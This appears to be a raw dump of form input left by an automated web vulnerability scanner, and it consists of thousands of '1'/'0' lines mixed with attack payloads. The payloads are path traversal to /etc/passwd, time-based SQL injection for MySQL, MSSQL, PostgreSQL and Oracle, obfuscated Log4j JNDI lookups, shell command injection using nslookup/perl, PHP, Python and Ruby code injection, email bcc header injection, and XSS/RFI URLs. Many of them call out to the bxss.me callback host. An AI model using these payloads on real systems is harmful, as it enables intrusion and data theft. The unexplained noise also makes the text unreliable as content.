bcc:009247.25-69396.25.4f843.19041.2@bxss.me

1

1

1

1

../../../../../../../../../../../../../../windows/win.ini

1

IF(NOW()=SYSDATE(),SLEEP(15),0)

1

1

to@example.com> bcc:009247.25-69397.25.4f843.19041.2@bxss.me

1

1

1

1 BCC:009247.25-69398.25.4F843.19041.2@BXSS.ME

1

1

1

1

../

1

1

1

../../../../../../../../../../../../../../ETC/PASSWD

1

1

1

TO@EXAMPLE.COM> BCC:009247.25-69399.25.4F843.19041.2@BXSS.ME

1

../../../../../../../../../../../../../../WINDOWS/WIN.INI

0

1

0

1

1

1

1

1

1

../1

0

1

0

1

1

1

0

1

1

1

0

1

1

1

1

1

1

0'XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR'Z

1

1

1

1

1

1

1

1

1

1

1

1

${9999109+9999102}

1

1

1

1

1

${9999717+9999190}

1

1

12345'"\'\");|]*{ <>�''💡

1

1

1

1

1

1

0

1

1

1

1

1

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

0

1

1

1

1

1

1

1

1

1

1

1

UJUNGvJu

1

1

1

1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1

/../../../../../../../../../../WINDOWS/SYSTEM32/BITSADMIN.EXE

0

1

1

1

1

KTDQS2ZC

0

1

1

1

0

1

1

1

1some_inexistent_file_with_long_name.jpg

1

1

1

1

Http://bxss.me/t/fit.txt

1

1

http://bxss.me/t/fit.txt?.jpg

1

1

bxss.me

1

1

1

0"XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR"Z

1

HTTP://SOME-INEXISTENT-WEBSITE.ACU/SOME_INEXISTENT_FILE_WITH_LONG_NAME?.JPG

1

1

1

1

1

1SOME_INEXISTENT_FILE_WITH_LONG_NAME.JPG

1

HTTP://BXSS.ME/T/FIT.TXT

1

1

1

1

1

1

1

1

0

1

1

1

1

1

1

HTTP://BXSS.ME/T/FIT.TXT?.JPG

1

BXSS.ME

0

1

1

1

0

1

1

1

${j${::-n}di:dns${::-:}//hitvhjyzinonh164c6${::-.}bxss.me}zzzz

1

(SELECT(0)FROM(SELECT(SLEEP(15)))V)/*'+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+'"+(SELECT(0)FROM(SELECT(

0

1

1

1

response.write(9891462*9099828)

0

1

1

1

'+response.write(9891462*9099828)+'

1

1

"+response.write(9891462*9099828)+"

1

RESPONSE.WRITE(9040589*9522075)

0

1

1

'+RESPONSE.WRITE(9040589*9522075)+'

1

1

1

"+RESPONSE.WRITE(9040589*9522075)+"

1

1

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitxrfnstfttj42966${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0

1

1

1

0

1

1

1

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.25-69407.25.4f843${::-.}1${::-.}bxss.me}}

1

${J${::-N}DI:DNS${::-:}//HITLCDUHIHJQT03EC4${::-.}BXSS.ME}ZZZZ

0

1

1

1

1

1

1

�💡'"><&;|${${LOWER:J}${::-N}D${UPPER:I}:DNS${::-:}//HITICQMKFTTSO7D0CA${::-.}BXSS.ME}AAAAAAAAAAAA

1

1

1

1

1

${${:::::::::::::::::-J}NDI:DNS${:::::::::::::::::-:}//DNS.LOG4J.009247.25-69411.25.4F843${::-.}1${:

1

1

0

1

1

1

1

-1; WAITFOR DELAY '0:0:15' --

0

1

1

1

1

1

1

1

1

1

1

1

'.gethostbyname(lc('hitjw'.'hweyvftg19985.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(73).chr(110).chr(82).'

0

1

1

1

".gethostbyname(lc("hitfg"."hklqcjzx194bc.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(85).chr(110).chr(68)."

0

1

1

'.GETHOSTBYNAME(LC('HITEH'.'TCBLKWJY993D5.BXSS.ME.')).'A'.CHR(67).CHR(HEX('58')).CHR(114).CHR(68).CH

1

".GETHOSTBYNAME(LC("HITJY"."CZUQWTTB43B86.BXSS.ME."))."A".CHR(67).CHR(HEX("58")).CHR(110).CHR(87).CH

0

1

0

1

0

1

1

-1); WAITFOR DELAY '0:0:15' --

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

&n976509=v999051

0

1

1

1

1

1&N989525=V930342

1

1

0

1

1

1

1

-1)); WAITFOR DELAY '0:0:15' --

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

)

1

1

1

1

1

1

1

1

1

1

!(()&&!|*|*|

1

1

1

1

0

1

1

1

1

1

1

1

^(#$!@#$)(()))******

1

1

1

1

1

)

1

1 WAITFOR DELAY '0:0:15' --

1

1

1

!(()&&!|*|*|

1

1

'"()

1

1

1

^(#$!@#$)(()))******

0

1

1

1

0

1

1

1

1

'"()

0

1

1

1

0

1

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

0

1

1

1

1

1

0

1

1

1

1

1

1

1

';print(md5(31337));$a='

1

1

";print(md5(31337));$a="

1

1

http://hitnbeiokahhh.bxss.me/

1

ZJLVIOCV'; WAITFOR DELAY '0:0:15' --

1

1

1

1

1

1

1

1

${@print(md5(31337))}

1

1

1

HTTP://HITCTBWLLCEVF.BXSS.ME/

1

1

1

1

${@print(md5(31337))}\

0

1

1

1

echo awjscp$()\ rgyfhd\nz^xyu||a #' &echo awjscp$()\ rgyfhd\nz^xyu||a #|" &echo awjscp$()\ rgyfhd\nz^xyu||a #

1

1

&echo ashuac$()\ zbmxhw\nz^xyu||a #' &echo ashuac$()\ zbmxhw\nz^xyu||a #|" &echo ashuac$()\ zbmxhw\nz^xyu||a #

1

1

1

1

1

1

0

1

1

1

'.print(md5(31337)).'

1

1

|echo zwlxdt$()\ oidpop\nz^xyu||a #' |echo zwlxdt$()\ oidpop\nz^xyu||a #|" |echo zwlxdt$()\ oidpop\nz^xyu||a #

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

;ASSERT(BASE64_DECODE('CHJPBNQOBWQ1KDMXMZM3KSK7'));

1

1

1

';PRINT(MD5(31337));$A='

1

1

Create

1

ISNKBZOZ'); WAITFOR DELAY '0:0:15' --

1

1

(nslookup hituiyzqfnmlwccc38.bxss.me||perl -e "gethostbyname('hituiyzqfnmlwccc38.bxss.me')")

1

1

Create

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

";PRINT(MD5(31337));$A="

1

1

$(nslookup hitcmlrybdcob3af49.bxss.me||perl -e "gethostbyname('hitcmlrybdcob3af49.bxss.me')")

1

1

Create/.

0

1

1

${@PRINT(MD5(31337))}

1

CREATE

1

1

1

1

&(nslookup hitnplcziwyzwc880e.bxss.me||perl -e "gethostbyname('hitnplcziwyzwc880e.bxss.me')")&'\"`0&(nslookup hitnplcziwyzwc880e.bxss.me||perl -e "gethostbyname('hitnplcziwyzwc880e.bxss.me')")&`'

1

CREATE

1

${@PRINT(MD5(31337))}\

1

1

|(nslookup hituwbjqewlww90350.bxss.me||perl -e "gethostbyname('hituwbjqewlww90350.bxss.me')")

1

1

1

CREATE/.

1

'.PRINT(MD5(31337)).'

0

1

0

1

0

1

0

1

0

1

0

1

1

1

1

1

`(nslookup hitrnnyywnbch47f6c.bxss.me||perl -e "gethostbyname('hitrnnyywnbch47f6c.bxss.me')")`

1

U4JHPKKM')); WAITFOR DELAY '0:0:15' --

1

1

0

1

1

1

1

1

/xfs.bxss.me

0

1

1

1

1

/XFS.BXSS.ME

1

1

1

1

;(nslookup hitivpkjijbnv9be90.bxss.me||perl -e "gethostbyname('hitivpkjijbnv9be90.bxss.me')")|(nslookup hitivpkjijbnv9be90.bxss.me||perl -e "gethostbyname('hitivpkjijbnv9be90.bxss.me')")&(nslookup hitivpkjijbnv9be90.bxss.me||perl -e "gethostbyname('hitivpkjijbnv9be90.bxss.me')")

0

1

0

1

1

1

'"

0

1

1

1

1

ECHO PLMIKF$()\ ENFOXA\NZ^XYU||A #' &ECHO PLMIKF$()\ ENFOXA\NZ^XYU||A #|" &ECHO PLMIKF$()\ ENFOXA\NZ

1

1

0

1

1

&ECHO TFPCBA$()\ EYIEQX\NZ^XYU||A #' &ECHO TFPCBA$()\ EYIEQX\NZ^XYU||A #|" &ECHO TFPCBA$()\ EYIEQX\N

1

|ECHO IJXRMD$()\ SZGODN\NZ^XYU||A #' |ECHO IJXRMD$()\ SZGODN\NZ^XYU||A #|" |ECHO IJXRMD$()\ SZGODN\N

1

'"

1

(NSLOOKUP HITMKBGYPRHOE4C077.BXSS.ME||PERL -E "GETHOSTBYNAME('HITMKBGYPRHOE4C077.BXSS.ME')")

1

1

1

1

1

-5 OR 934=(SELECT 934 FROM PG_SLEEP(15))--

0

1

1

$(NSLOOKUP HITREGKBOSWFF61185.BXSS.ME||PERL -E "GETHOSTBYNAME('HITREGKBOSWFF61185.BXSS.ME')")

1

1

1

&(NSLOOKUP HITPVWSPYDGEKF487D.BXSS.ME||PERL -E "GETHOSTBYNAME('HITPVWSPYDGEKF487D.BXSS.ME')")&'\"`0&

1

1

ctime sleep p0 (I30 tp1 Rp2 .

1

1

1

1

1

1

1

|(NSLOOKUP HITTRJOZCAHFKA3EC4.BXSS.ME||PERL -E "GETHOSTBYNAME('HITTRJOZCAHFKA3EC4.BXSS.ME')")

1

1

1

1

1

`(NSLOOKUP HITTURWQYMAON568EF.BXSS.ME||PERL -E "GETHOSTBYNAME('HITTURWQYMAON568EF.BXSS.ME')")`

1

1

"+"A".concat(70-3).concat(22*4).concat(121).concat(84).concat(100).concat(78)+(require"socket" Socket.gethostbyname("hitum"+"cfvwpfuh505fb.bxss.me.")[3].to_s)+"

1

1

1

1

0

1

1

;(NSLOOKUP HITSDDSUTTFQQ8EC8C.BXSS.ME||PERL -E "GETHOSTBYNAME('HITSDDSUTTFQQ8EC8C.BXSS.ME')")|(NSLOO

1

1

1

1

'+'A'.concat(70-3).concat(22*4).concat(121).concat(81).concat(105).concat(68)+(require'socket' Socket.gethostbyname('hitza'+'ntruabzk7c73f.bxss.me.')[3].to_s)+'

1

1

1

"+"A".CONCAT(70-3).CONCAT(22*4).CONCAT(116).CONCAT(90).CONCAT(113).CONCAT(81)+(REQUIRE"SOCKET" SOCKE

1

1

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitfxfzndfodp2705c.'+'bxss.me')

0

1

1

1

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitfxfzndfodp2705c."+"bxss.me")+'

1

1

1

'+'A'.CONCAT(70-3).CONCAT(22*4).CONCAT(98).CONCAT(65).CONCAT(121).CONCAT(68)+(REQUIRE'SOCKET' SOCKET

1

-5) OR 533=(SELECT 533 FROM PG_SLEEP(15))--

1

1

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitfxfzndfodp2705c.'+'bxss.me')+"

0

1

1

1

0

1

0

1

1

1

0

1

1

1

1

1

0

1

0

1

1

1

0

1

0

1

0

1

1

-1)) OR 562=(SELECT 562 FROM PG_SLEEP(15))--

1

1

HttP://bxss.me/t/xss.html?%00

0

1

1

1

9988873

1

1

1

1

bxss.me/t/xss.html?%00

0

1

1

HTTP://BXSS.ME/T/XSS.HTML?%00

0

1

1

1

1

BXSS.ME/T/XSS.HTML?%00

1

STR(__IMPORT__('TIME').SLEEP(9))+__IMPORT__('SOCKET').GETHOSTBYNAME('HITWXFKNANLSY45B81.'+'BXSS.ME')

1

'+STR(__IMPORT__("TIME").SLEEP(9))+__IMPORT__("SOCKET").GETHOSTBYNAME("HITWXFKNANLSY45B81."+"BXSS.ME

1

1

0

1

1

2UA3MAIW' OR 71=(SELECT 71 FROM PG_SLEEP(15))--

1

"+STR(__IMPORT__('TIME').SLEEP(9))+__IMPORT__('SOCKET').GETHOSTBYNAME('HITWXFKNANLSY45B81.'+'BXSS.ME

1

1

0

1

0

1

0

1

1

19455991

1

ECEWY6WH') OR 74=(SELECT 74 FROM PG_SLEEP(15))--

0

1

1

1

0

1

19213466

1

0

1

1

U2NULHKS')) OR 381=(SELECT 381 FROM PG_SLEEP(15))--

1

1

0

1

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

0

1

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

0

1

0

1

0

1

1

1'"

1

1����%2527%2522

1

@@EFKNZ

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

0

1

0

1

1

1

0

1

1

1

1

1

0

1

0

1

0

1

1

1

0

1

1

1

0

1

1

1

0

1

1

1

0

1

1

1

0

1

1

1

0

1

1

1

0

1

1

1

1

1

1

1

0

1

1

1

0

1

1

1

0

1

1

1

0

1

1

1

iFliOpi5

1

1

-1 OR 2+262-262-1=0+0+0+1 --

0

1

0

1

1

1

-1 OR 2+45-45-1=0+0+0+1

1

1

-1' OR 2+638-638-1=0+0+0+1 --

1

1

-1' OR 2+645-645-1=0+0+0+1 or 'XeRHjrUE'='

1

1

-1" OR 2+930-930-1=0+0+0+1 --

0

1

1

1

if(now()=sysdate(),sleep(15),0)

0

1

1

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0

1

1

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

0

1

1

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0

1

1

1

-1; waitfor delay '0:0:15' --

0

1

0

1

0

1

0

1

1

1

-1); waitfor delay '0:0:15' --

1

1

-1)); waitfor delay '0:0:15' --

1

1

1 waitfor delay '0:0:15' --

1

1

tQlzVK7J'; waitfor delay '0:0:15' --

1

1

PhQFuRO8'); waitfor delay '0:0:15' --

1

1

RlRrkMUS')); waitfor delay '0:0:15' --

1

1

-5 OR 690=(SELECT 690 FROM PG_SLEEP(15))--

1

1

-5) OR 874=(SELECT 874 FROM PG_SLEEP(15))--

1

1

-1)) OR 954=(SELECT 954 FROM PG_SLEEP(15))--

1

1

WPEVjyMn' OR 507=(SELECT 507 FROM PG_SLEEP(15))--

1

1

djAbPpb5') OR 801=(SELECT 801 FROM PG_SLEEP(15))--

1

1

HzQI85IY')) OR 300=(SELECT 300 FROM PG_SLEEP(15))--

1

1

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1

1'"

1

1

1����%2527%2522

1

1

@@ezlEN

1

1

1

1

1

QMF65AEY

1

-1 OR 2+636-636-1=0+0+0+1 --

1

-1 OR 2+450-450-1=0+0+0+1

1

-1' OR 2+648-648-1=0+0+0+1 --

1

-1' OR 2+688-688-1=0+0+0+1 OR 'QLMKP1KV'='

1

-1" OR 2+206-206-1=0+0+0+1 --

1

IF(NOW()=SYSDATE(),SLEEP(15),0)

1

0'XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR'Z

1

0"XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR"Z

1

(SELECT(0)FROM(SELECT(SLEEP(15)))V)/*'+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+'"+(SELECT(0)FROM(SELECT(

1

-1; WAITFOR DELAY '0:0:15' --

1

-1); WAITFOR DELAY '0:0:15' --

1

-1)); WAITFOR DELAY '0:0:15' --

1

1 WAITFOR DELAY '0:0:15' --

1

WMP188WO'; WAITFOR DELAY '0:0:15' --

1

OXAVOBRQ'); WAITFOR DELAY '0:0:15' --

1

WEFMAWCE')); WAITFOR DELAY '0:0:15' --

1

-5 OR 605=(SELECT 605 FROM PG_SLEEP(15))--

1

-5) OR 265=(SELECT 265 FROM PG_SLEEP(15))--

1

-1)) OR 836=(SELECT 836 FROM PG_SLEEP(15))--

1

JD6W4V1M' OR 26=(SELECT 26 FROM PG_SLEEP(15))--

1

OOJWFBOC') OR 229=(SELECT 229 FROM PG_SLEEP(15))--

1

RUMFPPAE')) OR 499=(SELECT 499 FROM PG_SLEEP(15))--

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1'"

1

1����%2527%2522

1

@@J6TL4

1

1

1

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

1

1

../../../../../../../../../../../../../../windows/win.ini

1

1

12345'"\'\");|]*{ <>�''💡

1

1

1

1

1

1

1

1

../

1

1

1

1

bcc:009247.25-81763.25.4f843.19042.2@bxss.me

1

1

1

1

to@example.com> bcc:009247.25-81764.25.4f843.19042.2@bxss.me

1

1

1

1

1

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../ETC/PASSWD

1

../../../../../../../../../../../../../../WINDOWS/WIN.INI

1

1

1

1

1

../1

1

1

1

1

0

1

1

1 BCC:009247.25-81767.25.4F843.19042.2@BXSS.ME

1

1

${9999137+10000122}

0

1

1

1

1

TO@EXAMPLE.COM> BCC:009247.25-81768.25.4F843.19042.2@BXSS.ME

1

1

1

1

1

1

1

1

0

1

1

${9999412+10000071}

1

1

1

1

0

1

0

1

1

1

1

1

1

1

1

1

1

1

1

1

0

1

1

1

Z4EdXrTc

1

1

0

1

1

1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1

1

1some_inexistent_file_with_long_name.jpg

1

1

0

1

1

DRTFOUWV

1

1

1

1

Http://bxss.me/t/fit.txt

1

/../../../../../../../../../../WINDOWS/SYSTEM32/BITSADMIN.EXE

0

1

1

1

http://bxss.me/t/fit.txt?.jpg

0

1

1

1

bxss.me

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

response.write(9021919*9597825)

1

1

'+response.write(9021919*9597825)+'

1

1

1

1

"+response.write(9021919*9597825)+"

1

1

1

1

1

1

1

1

${j${::-n}di:dns${::-:}//hitpxriqeivbn1533b${::-.}bxss.me}zzzz

1

1

1

1

1

1

1

1

1

1

1

1

1

1

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitossalzlevj144cb${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1

1

1

1

1

HTTP://SOME-INEXISTENT-WEBSITE.ACU/SOME_INEXISTENT_FILE_WITH_LONG_NAME?.JPG

1

1

1

1

1

1SOME_INEXISTENT_FILE_WITH_LONG_NAME.JPG

1

RESPONSE.WRITE(9722552*9435212)

1

1

'.gethostbyname(lc('hitmo'.'axyffaljb7544.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(74).chr(109).chr(70).'

1

HTTP://BXSS.ME/T/FIT.TXT

1

'+RESPONSE.WRITE(9722552*9435212)+'

1

HTTP://BXSS.ME/T/FIT.TXT?.JPG

1

1

".gethostbyname(lc("hithb"."fgwwrcooa0c68.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(78).chr(107).chr(83)."

1

BXSS.ME

1

1

1

1

1

1

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.25-81777.25.4f843${::-.}1${::-.}bxss.me}}

0

1

1

1

1

1

1

1

echo jwdfoz$()\ awlwzh\nz^xyu||a #' &echo jwdfoz$()\ awlwzh\nz^xyu||a #|" &echo jwdfoz$()\ awlwzh\nz^xyu||a #

1

'.GETHOSTBYNAME(LC('HITNK'.'MZVCQECI63AD4.BXSS.ME.')).'A'.CHR(67).CHR(HEX('58')).CHR(112).CHR(72).CH

1

"+RESPONSE.WRITE(9722552*9435212)+"

1

1

1

1

&echo koxknn$()\ tjnkwq\nz^xyu||a #' &echo koxknn$()\ tjnkwq\nz^xyu||a #|" &echo koxknn$()\ tjnkwq\nz^xyu||a #

0

1

1

1

1

1

|echo sugeoz$()\ bwnlcr\nz^xyu||a #' |echo sugeoz$()\ bwnlcr\nz^xyu||a #|" |echo sugeoz$()\ bwnlcr\nz^xyu||a #

1

1

1

".GETHOSTBYNAME(LC("HITTF"."UJMVHDXU47B9C.BXSS.ME."))."A".CHR(67).CHR(HEX("58")).CHR(98).CHR(67).CHR

1

1

(nslookup hitzwfnpkckzec0d3c.bxss.me||perl -e "gethostbyname('hitzwfnpkckzec0d3c.bxss.me')")

0

1

0

1

1

1

0

1

0

1

0

1

1

1

$(nslookup hitpwktyekujib005f.bxss.me||perl -e "gethostbyname('hitpwktyekujib005f.bxss.me')")

1

${J${::-N}DI:DNS${::-:}//HITYLKYINJKHUB3873${::-.}BXSS.ME}ZZZZ

1

1

0

1

1

1

&(nslookup hitqujrmedlymdef2d.bxss.me||perl -e "gethostbyname('hitqujrmedlymdef2d.bxss.me')")&'\"`0&(nslookup hitqujrmedlymdef2d.bxss.me||perl -e "gethostbyname('hitqujrmedlymdef2d.bxss.me')")&`'

1

�💡'"><&;|${${LOWER:J}${::-N}D${UPPER:I}:DNS${::-:}//HITAVPBIRAIZEE2C40${::-.}BXSS.ME}AAAAAAAAAAAA

0

1

0

1

1

1

1

1

&n946020=v979146

1

1

1

1

1

1

|(nslookup hituxossfpvtf38da5.bxss.me||perl -e "gethostbyname('hituxossfpvtf38da5.bxss.me')")

1

1

1

1&N981585=V995520

1

1

0

1

1

1

)

1

1

`(nslookup hitbxjhifindkcbda7.bxss.me||perl -e "gethostbyname('hitbxjhifindkcbda7.bxss.me')")`

1

1

;(nslookup hitzmzgsscxhs8045d.bxss.me||perl -e "gethostbyname('hitzmzgsscxhs8045d.bxss.me')")|(nslookup hitzmzgsscxhs8045d.bxss.me||perl -e "gethostbyname('hitzmzgsscxhs8045d.bxss.me')")&(nslookup hitzmzgsscxhs8045d.bxss.me||perl -e "gethostbyname('hitzmzgsscxhs8045d.bxss.me')")

1

1

1

1

!(()&&!|*|*|

1

${${:::::::::::::::::-J}NDI:DNS${:::::::::::::::::-:}//DNS.LOG4J.009247.25-81779.25.4F843${::-.}1${:

1

1

^(#$!@#$)(()))******

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

'"()

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

)

1

!(()&&!|*|*|

1

1

1

^(#$!@#$)(()))******

0

1

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

0

1

1

'"()

1

1

';print(md5(31337));$a='

1

1

0

1

0

1

0

1

1

1

";print(md5(31337));$a="

1

1

1

1

1

1

1

1

${@print(md5(31337))}

1

1

1

1

${@print(md5(31337))}\

1

1

0

1

1

1

'.print(md5(31337)).'

1

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

1

1

Create

1

1

1

1

1

1

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

ECHO HDCUBD$()\ VGNWRS\NZ^XYU||A #' &ECHO HDCUBD$()\ VGNWRS\NZ^XYU||A #|" &ECHO HDCUBD$()\ VGNWRS\NZ

1

1

Create

1

1

http://hitlsqxojpyff.bxss.me/

1

&ECHO CTTPDG$()\ JERSSB\NZ^XYU||A #' &ECHO CTTPDG$()\ JERSSB\NZ^XYU||A #|" &ECHO CTTPDG$()\ JERSSB\N

1

1

Create/.

1

1

0

1

1

1

1

|ECHO GCFAWU$()\ ESQYCO\NZ^XYU||A #' |ECHO GCFAWU$()\ ESQYCO\NZ^XYU||A #|" |ECHO GCFAWU$()\ ESQYCO\N

1

1

1

1

1

1

1

(NSLOOKUP HITLCWQPZPXJLBE34B.BXSS.ME||PERL -E "GETHOSTBYNAME('HITLCWQPZPXJLBE34B.BXSS.ME')")

1

1

1

1

1

$(NSLOOKUP HITNCFHDKBXDM5585C.BXSS.ME||PERL -E "GETHOSTBYNAME('HITNCFHDKBXDM5585C.BXSS.ME')")

1

1

/xfs.bxss.me

1

HTTP://HITXWEBYNNMXO.BXSS.ME/

1

&(NSLOOKUP HITFTSYJJQLTQF3BB3.BXSS.ME||PERL -E "GETHOSTBYNAME('HITFTSYJJQLTQF3BB3.BXSS.ME')")&'\"`0&

0

1

1

|(NSLOOKUP HITZWBJWEAQDCE3A11.BXSS.ME||PERL -E "GETHOSTBYNAME('HITZWBJWEAQDCE3A11.BXSS.ME')")

1

1

1

`(NSLOOKUP HITZPTFYGCSDE43A1E.BXSS.ME||PERL -E "GETHOSTBYNAME('HITZPTFYGCSDE43A1E.BXSS.ME')")`

1

1

1

1

1

1

'"

1

CREATE

1

1

1

;(NSLOOKUP HITMGIRXXTURZC9A1C.BXSS.ME||PERL -E "GETHOSTBYNAME('HITMGIRXXTURZC9A1C.BXSS.ME')")|(NSLOO

1

1

1

CREATE

0

1

1

1

1

/XFS.BXSS.ME

0

1

1

CREATE/.

0

1

0

1

1

'"

0

1

1

1

1

1

0

1

0

1

1

1

0

1

0

1

1

1

1

;ASSERT(BASE64_DECODE('CHJPBNQOBWQ1KDMXMZM3KSK7'));

1

1

1

1

1

';PRINT(MD5(31337));$A='

1

1

1

";PRINT(MD5(31337));$A="

1

1

0

1

0

1

1

1

"+"A".concat(70-3).concat(22*4).concat(99).concat(81).concat(114).concat(78)+(require"socket" Socket.gethostbyname("hitkq"+"trlguicba1e4f.bxss.me.")[3].to_s)+"

0

1

1

1

0

1

1

1

'+'A'.concat(70-3).concat(22*4).concat(107).concat(72).concat(110).concat(75)+(require'socket' Socket.gethostbyname('hitnr'+'pdqemlnv55962.bxss.me.')[3].to_s)+'

1

1

ctime sleep p0 (I30 tp1 Rp2 .

1

1

1

1

1

1

0

1

1

1

9183988

1

${@PRINT(MD5(31337))}

1

1

1

1

1

1

1

1

1

${@PRINT(MD5(31337))}\

1

1

1

1

1

1

1

1

HttP://bxss.me/t/xss.html?%00

1

"+"A".CONCAT(70-3).CONCAT(22*4).CONCAT(100).CONCAT(75).CONCAT(113).CONCAT(76)+(REQUIRE"SOCKET" SOCKE

1

1

bxss.me/t/xss.html?%00

1

'.PRINT(MD5(31337)).'

0

1

1

1

0

1

0

1

1

1

1

1

1

'+'A'.CONCAT(70-3).CONCAT(22*4).CONCAT(104).CONCAT(76).CONCAT(115).CONCAT(65)+(REQUIRE'SOCKET' SOCKE

1

1

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitarvlzyxycm41632.'+'bxss.me')

1

HTTP://BXSS.ME/T/XSS.HTML?%00

0

1

1

1

0

1

1

1

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitarvlzyxycm41632."+"bxss.me")+'

1

1

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitarvlzyxycm41632.'+'bxss.me')+"

1

1

0

1

0

1

1

1

0

1

1

1

1

19817351

1

1

1

BXSS.ME/T/XSS.HTML?%00

0

1

1

1

PRqnoK3N

0

1

19095720

1

1

1

-1 OR 2+490-490-1=0+0+0+1 --

1

STR(__IMPORT__('TIME').SLEEP(9))+__IMPORT__('SOCKET').GETHOSTBYNAME('HITZIUVSEHNISD2648.'+'BXSS.ME')

1

1

-1 OR 2+904-904-1=0+0+0+1

1

'+STR(__IMPORT__("TIME").SLEEP(9))+__IMPORT__("SOCKET").GETHOSTBYNAME("HITZIUVSEHNISD2648."+"BXSS.ME

1

1

-1' OR 2+941-941-1=0+0+0+1 --

1

1

-1' OR 2+632-632-1=0+0+0+1 or '2a6k0lRt'='

1

"+STR(__IMPORT__('TIME').SLEEP(9))+__IMPORT__('SOCKET').GETHOSTBYNAME('HITZIUVSEHNISD2648.'+'BXSS.ME

1

1

-1" OR 2+618-618-1=0+0+0+1 --

0

1

1

1

if(now()=sysdate(),sleep(15),0)

1

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0

1

0

1

1

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

1

-1; waitfor delay '0:0:15' --

1

1

-1; waitfor delay '0:0:15' --

1

1

-1); waitfor delay '0:0:15' --

1

1

-1)); waitfor delay '0:0:15' --

1

1

1 waitfor delay '0:0:15' --

1

1

60z22Kja'; waitfor delay '0:0:15' --

1

1

sWO014nv'); waitfor delay '0:0:15' --

1

1

GZoDVuW8')); waitfor delay '0:0:15' --

1

1

-5 OR 141=(SELECT 141 FROM PG_SLEEP(15))--

1

1

-5) OR 256=(SELECT 256 FROM PG_SLEEP(15))--

1

1

-1)) OR 29=(SELECT 29 FROM PG_SLEEP(15))--

1

1

fvncl7N3' OR 670=(SELECT 670 FROM PG_SLEEP(15))--

1

1

L7QEByib') OR 172=(SELECT 172 FROM PG_SLEEP(15))--

1

1

EI64AMcq')) OR 140=(SELECT 140 FROM PG_SLEEP(15))--

1

1

